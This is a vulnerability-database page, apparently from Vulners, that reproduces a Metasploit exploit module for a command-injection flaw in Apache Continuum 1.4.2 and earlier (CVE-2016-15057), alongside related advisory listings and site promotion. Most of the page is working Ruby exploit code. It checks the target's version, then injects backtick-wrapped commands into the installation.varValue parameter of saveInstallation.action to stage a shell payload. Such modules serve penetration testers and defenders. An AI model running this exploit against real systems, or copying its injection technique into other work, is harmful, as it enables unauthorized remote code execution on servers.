Lucene search
+L

Apache Continuum Arbitrary Command Execution

🗓️ 06 Apr 2016 00:00:00Reported by David Shanahan, wvu <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 45 Views

Apache Continuum <= 1.4.2 Command Injectio

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
ATTACKERKB
CVE-2016-15057
26 Jan 202611:29
attackerkb
circl
Circl
CVE-2016-15057
26 Jan 202613:19
circl
cnnvd
CNNVD
Apache Continuum 安全漏洞
26 Jan 202600:00
cnnvd
cnvd
CNVD
Apache Continuum Command Injection Vulnerability
5 Feb 202600:00
cnvd
cve
CVE
CVE-2016-15057
26 Jan 202611:29
cve
cvelist
Cvelist
CVE-2016-15057 Apache Continuum: Command injection leading to RCE
26 Jan 202611:29
cvelist
euvd
EUVD
EUVD-2016-10802
26 Jan 202611:29
euvd
github
Github Security Blog
Apache Continuum vulnerable to Command Injection through Installations REST API
26 Jan 202612:30
github
nvd
NVD
CVE-2016-15057
26 Jan 202612:15
nvd
osv
OSV
CVE-2016-15057
26 Jan 202612:15
osv
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Apache Continuum Arbitrary Command Execution',
        'Description' => %q{
          This module exploits a command injection in Apache Continuum <= 1.4.2.
          By injecting a command into the installation.varValue POST parameter to
          /continuum/saveInstallation.action, a shell can be spawned.
        },
        'Author' => [
          'David Shanahan', # Proof of concept
          'wvu'             # Metasploit module
        ],
        'References' => [
          %w{CVE 2016-15057},
          %w{EDB 39886},
        ],
        'DisclosureDate' => '2016-04-06',
        'License' => MSF_LICENSE,
        'Platform' => 'linux',
        'Arch' => [ARCH_X86, ARCH_X64],
        'Privileged' => false,
        'Targets' => [
          ['Apache Continuum <= 1.4.2', {}]
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options([
      Opt::RPORT(8080)
    ])
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => '/continuum/about.action'
    )

    if res && res.body.include?('1.4.2')
      CheckCode::Appears('The target appears to be vulnerable')
    elsif res && res.code == 200
      CheckCode::Detected('The target service was detected')
    else
      CheckCode::Safe('The target is not vulnerable')
    end
  end

  def exploit
    print_status('Injecting CmdStager payload...')
    execute_cmdstager
  end

  def execute_command(cmd, opts = {})
    send_request_cgi(
      'method' => 'POST',
      'uri' => '/continuum/saveInstallation.action',
      'vars_post' => {
        'installation.name' => Rex::Text.rand_text_alpha(8),
        'installation.type' => 'jdk',
        'installation.varValue' => '`' + cmd + '`'
      }
    )
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Apr 2016 00:00Current
5.4Medium risk
Vulners AI Score5.4
CVSS 3.19.9
EPSS0.03732
SSVC
45